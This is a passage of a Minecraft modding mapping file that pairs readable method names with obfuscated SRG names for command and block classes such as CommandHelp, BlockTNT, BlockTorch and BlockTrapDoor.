(Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandHelp/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandHelp/getCommandAliases ()Ljava/util/List; net/minecraft/command/CommandHelp/func_71514_a ()Ljava/util/List; +MD: net/minecraft/command/CommandHelp/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandHelp/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandHelp/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandHelp/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandHelp/getCommands ()Ljava/util/Map; net/minecraft/command/CommandHelp/func_71535_c ()Ljava/util/Map; +MD: net/minecraft/command/CommandHelp/getSortedPossibleCommands (Lnet/minecraft/command/ICommandSender;)Ljava/util/List; net/minecraft/command/CommandHelp/func_71534_d (Lnet/minecraft/command/ICommandSender;)Ljava/util/List; +MD: net/minecraft/block/BlockStoneSlab$EnumType/getMetadata ()I net/minecraft/block/BlockStoneSlab$EnumType/func_176624_a ()I +MD: net/minecraft/block/BlockStoneSlab$EnumType/byMetadata (I)Lnet/minecraft/block/BlockStoneSlab$EnumType; net/minecraft/block/BlockStoneSlab$EnumType/func_176625_a (I)Lnet/minecraft/block/BlockStoneSlab$EnumType; +MD: net/minecraft/block/BlockStoneSlab$EnumType/func_181074_c ()Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStoneSlab$EnumType/func_181074_c ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStoneSlab$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockStoneSlab$EnumType/func_176627_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlab$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockStoneSlab$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlab$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockStoneSlab$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlab$EnumType/values ()[Lnet/minecraft/block/BlockStoneSlab$EnumType; net/minecraft/block/BlockStoneSlab$EnumType/values ()[Lnet/minecraft/block/BlockStoneSlab$EnumType; +MD: net/minecraft/block/BlockStoneSlab/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStoneSlab/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStoneSlab/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStoneSlab/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStoneSlab/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockStoneSlab/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStoneSlab/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockStoneSlab/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockStoneSlab/getVariant (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; net/minecraft/block/BlockStoneSlab/func_176553_a (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; +MD: net/minecraft/block/BlockStoneSlab/getUnlocalizedName (I)Ljava/lang/String; net/minecraft/block/BlockStoneSlab/func_150002_b (I)Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlab/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockStoneSlab/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStoneSlab/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStoneSlab/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStoneSlab/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStoneSlab/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStoneSlab/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStoneSlab/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStoneSlab/getVariantProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockStoneSlab/func_176551_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockTallGrass$EnumType/getMeta ()I net/minecraft/block/BlockTallGrass$EnumType/func_177044_a ()I +MD: net/minecraft/block/BlockTallGrass$EnumType/byMetadata (I)Lnet/minecraft/block/BlockTallGrass$EnumType; net/minecraft/block/BlockTallGrass$EnumType/func_177045_a (I)Lnet/minecraft/block/BlockTallGrass$EnumType; +MD: net/minecraft/block/BlockTallGrass$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockTallGrass$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockTallGrass$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockTallGrass$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockTallGrass$EnumType/values ()[Lnet/minecraft/block/BlockTallGrass$EnumType; net/minecraft/block/BlockTallGrass$EnumType/values ()[Lnet/minecraft/block/BlockTallGrass$EnumType; +MD: net/minecraft/block/BlockTallGrass/getBlockColor ()I net/minecraft/block/BlockTallGrass/func_149635_D ()I +MD: net/minecraft/block/BlockTallGrass/getOffsetType ()Lnet/minecraft/block/Block$EnumOffsetType; net/minecraft/block/BlockTallGrass/func_176218_Q ()Lnet/minecraft/block/Block$EnumOffsetType; +MD: net/minecraft/block/BlockTallGrass/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTallGrass/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTallGrass/quantityDroppedWithBonus (ILjava/util/Random;)I net/minecraft/block/BlockTallGrass/func_149679_a (ILjava/util/Random;)I +MD: net/minecraft/block/BlockTallGrass/isReplaceable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockTallGrass/func_176200_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockTallGrass/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockTallGrass/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockTallGrass/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockTallGrass/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockTallGrass/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockTallGrass/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockTallGrass/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockTallGrass/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockTallGrass/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockTallGrass/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockTallGrass/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockTallGrass/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockTallGrass/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTallGrass/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTallGrass/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockTallGrass/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockTallGrass/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockTallGrass/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockTallGrass/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockTallGrass/func_180671_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockTallGrass/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockTallGrass/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockTallGrass/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockTallGrass/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockPane/canSilkHarvest ()Z net/minecraft/block/BlockPane/func_149700_E ()Z +MD: net/minecraft/block/BlockPane/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockPane/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockPane/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockPane/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockPane/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockPane/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockPane/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockPane/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockPane/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockPane/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockPane/isOpaqueCube ()Z net/minecraft/block/BlockPane/func_149662_c ()Z +MD: net/minecraft/block/BlockPane/canPaneConnectToBlock (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockPane/func_150098_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockPane/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockPane/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockPane/isFullCube ()Z net/minecraft/block/BlockPane/func_149686_d ()Z +MD: net/minecraft/block/BlockPane/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockPane/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockPane/setBlockBoundsForItemRender ()V net/minecraft/block/BlockPane/func_149683_g ()V +MD: net/minecraft/block/BlockPane/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockPane/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockTNT/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTNT/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTNT/canDropFromExplosion (Lnet/minecraft/world/Explosion;)Z net/minecraft/block/BlockTNT/func_149659_a (Lnet/minecraft/world/Explosion;)Z +MD: net/minecraft/block/BlockTNT/onBlockDestroyedByExplosion (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/Explosion;)V net/minecraft/block/BlockTNT/func_180652_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/Explosion;)V +MD: net/minecraft/block/BlockTNT/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockTNT/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockTNT/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockTNT/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockTNT/explode (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/block/BlockTNT/func_180692_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/block/BlockTNT/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockTNT/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockTNT/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTNT/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTNT/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockTNT/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockTNT/onBlockDestroyedByPlayer (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTNT/func_176206_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTNT/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockTNT/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockTorch$1/apply (Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockTorch$1/apply (Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockTorch$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockTorch$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockTorch/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTorch/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTorch/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockTorch/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockTorch/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockTorch/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockTorch/collisionRayTrace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/block/BlockTorch/func_180636_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/block/BlockTorch/canPlaceAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockTorch/func_176595_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockTorch/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTorch/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTorch/isOpaqueCube ()Z net/minecraft/block/BlockTorch/func_149662_c ()Z +MD: net/minecraft/block/BlockTorch/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTorch/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTorch/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockTorch/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockTorch/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockTorch/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockTorch/isFullCube ()Z net/minecraft/block/BlockTorch/func_149686_d ()Z +MD: net/minecraft/block/BlockTorch/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockTorch/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockTorch/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockTorch/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockTorch/canPlaceOn (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockTorch/func_176594_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockTorch/onNeighborChangeInternal (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockTorch/func_176592_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockTorch/checkForDrop (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockTorch/func_176593_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockTorch/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockTorch/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockLeavesBase/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockLeavesBase/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockLeavesBase/isOpaqueCube ()Z net/minecraft/block/BlockLeavesBase/func_149662_c ()Z +MD: net/minecraft/block/BlockTrapDoor$DoorHalf/getName ()Ljava/lang/String; net/minecraft/block/BlockTrapDoor$DoorHalf/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockTrapDoor$DoorHalf/toString ()Ljava/lang/String; net/minecraft/block/BlockTrapDoor$DoorHalf/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockTrapDoor$DoorHalf/values ()[Lnet/minecraft/block/BlockTrapDoor$DoorHalf; net/minecraft/block/BlockTrapDoor$DoorHalf/values ()[Lnet/minecraft/block/BlockTrapDoor$DoorHalf; +MD: net/minecraft/block/BlockTrapDoor/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTrapDoor/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTrapDoor/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockTrapDoor/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockTrapDoor/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockTrapDoor/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockTrapDoor/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockTrapDoor/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockTrapDoor/collisionRayTrace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/block/BlockTrapDoor/func_180636_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/block/BlockTrapDoor/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTrapDoor/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTrapDoor/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockTrapDoor/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockTrapDoor/getMetaForFacing (Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockTrapDoor/func_176282_a (Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockTrapDoor/getFacing (I)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockTrapDoor/func_176281_b (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockTrapDoor/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockTrapDoor/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockTrapDoor/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockTrapDoor/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockTrapDoor/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockTrapDoor/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockTrapDoor/isOpaqueCube ()Z net/minecraft/block/BlockTrapDoor/func_149662_c ()Z +MD: net/minecraft/block/BlockTrapDoor/isValidSupportBlock (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockTrapDoor/func_150119_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockTrapDoor/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockTrapDoor/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockTrapDoor/isFullCube ()Z net/minecraft/block/BlockTrapDoor/func_149686_d ()Z +MD: net/minecraft/block/BlockTrapDoor/setBounds (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockTrapDoor/func_180693_d (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockTrapDoor/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockTrapDoor/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockTrapDoor/setBlockBoundsForItemRender ()V net/minecraft/block/BlockTrapDoor/func_149683_g ()V +MD: net/minecraft/block/BlockTrapDoor/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockTrapDoor/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockTripWire/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockTripWire/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockTripWire/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockTripWire/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockTripWire/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockTripWire/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockTripWire/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockTripWire/func_180645_a 